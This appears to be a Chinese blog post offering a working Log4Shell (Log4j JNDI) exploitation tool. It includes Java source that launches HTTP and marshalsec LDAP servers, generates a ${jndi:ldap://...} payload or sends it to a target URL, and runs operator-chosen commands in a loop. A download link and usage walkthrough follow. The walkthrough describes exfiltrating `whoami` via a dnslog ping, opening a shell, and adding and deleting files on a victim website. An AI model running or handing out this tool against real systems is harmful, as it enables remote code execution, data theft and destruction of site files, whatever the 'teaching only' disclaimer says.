声明:本程序仅教学使用,由于使用本程序攻击网站所造成的后果由读者本人承担
更新
—————————————————————————————————
依照人们需求更改test1.java代码,更改后可以运行一次程序执行多次命令
import java.util.Scanner;
public class test1 {
public static void main(String[] argv) {
try{
System.out.print("请输入模式(1和2):");
Scanner input=new Scanner(System.in);
String flag=input.nextLine();
System.out.print("请输入开启服务的IP:");
String ip=input.nextLine();
String commands1="java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer \"http://";
commands1=commands1+ip+":8100/#Exploit\"";
String commands = "python -m http.server 8100";
Process cm = Runtime.getRuntime().exec(commands);
Thread.sleep(3000);
System.out.println("启动http服务");
Process ct = Runtime.getRuntime().exec(commands1);
Thread.sleep(3000);
System.out.println("启动ldap服务");
String command;
while (true){
System.out.println("请输入执行的命令:(如果有“\\”符号请换成“\\\\”,输入0则退出)");
command=input.nextLine();
if (command.equals("0")) {
break;
}
command= command.replaceAll("\"","yinhao");
command="python tesst.py 2 "+"\""+command+"\"";
Process ct2 = Runtime.getRuntime().exec(command);
ct2.waitFor();
if (flag.equals("1")) {
String data2 = "${jndi:ldap://" + ip + ":1389" + "/Exploit}";
System.out.println("请在漏洞处插入下方的payload:");
System.out.println(data2);
}
else {
System.out.println("请输入漏洞URL:");
input=new Scanner(System.in);
String url=input.nextLine();
System.out.println("请输入漏洞触发参数(没有则输入0):");
input=new Scanner(System.in);
String par=input.nextLine();
command="python tesst.py 1 "+"\""+ip+"\" "+"\""+url+"\" "+"\""+par+"\"";
Process ct3 = Runtime.getRuntime().exec(command);
ct3.waitFor();
}
}
System.out.println("输入任意字符停止程序:");
input=new Scanner(System.in);
command=input.nextLine();
ct.destroy();
System.out.println("http服务关闭:");
cm.destroy();
System.out.println("ldap服务关闭:");
} catch(Exception e){
e.printStackTrace();
}
}
}
原文
—————————————————————————————————
百度云链接:https://pan.baidu.com/s/1cB2ffoWiVti3Ve_ZM73-cA
提取码:nexu
仅测试Linux版本,Windows未测试,服务占用端口为8100和1389,个人推荐使用模式1(模式2仅支持POST请求)
测试环境:
java:版本
python版本
需要的python包
测试网站环境:Linux
使用方法:
1,运行 javac test1.java编译程序
2,java test1 运行程序
本程序有两种模式,这里先演示模式2
首先选择模式,然后输入启动服务的IP,等待服务启动,然后输入要执行的命令,这里运行 ping `whoami`.1ffa9h.dnslog.cn ,然后输入漏洞URL和漏洞参数,然后等待执行完成
执行完成,当前用户为root用户
弹个shell(这里有点奇怪,显示连接上了但没有交互窗口给我)
在网站下面添加a.txt文件
删除网站文件
3,演示模式1
模式1跟模式2差不多,不过会生成payload,把payload粘贴在怀疑有漏洞的参数,直接盲打就完了。
我这里网站的漏洞参数是c
执行结果
注:等攻击完成后再关闭程序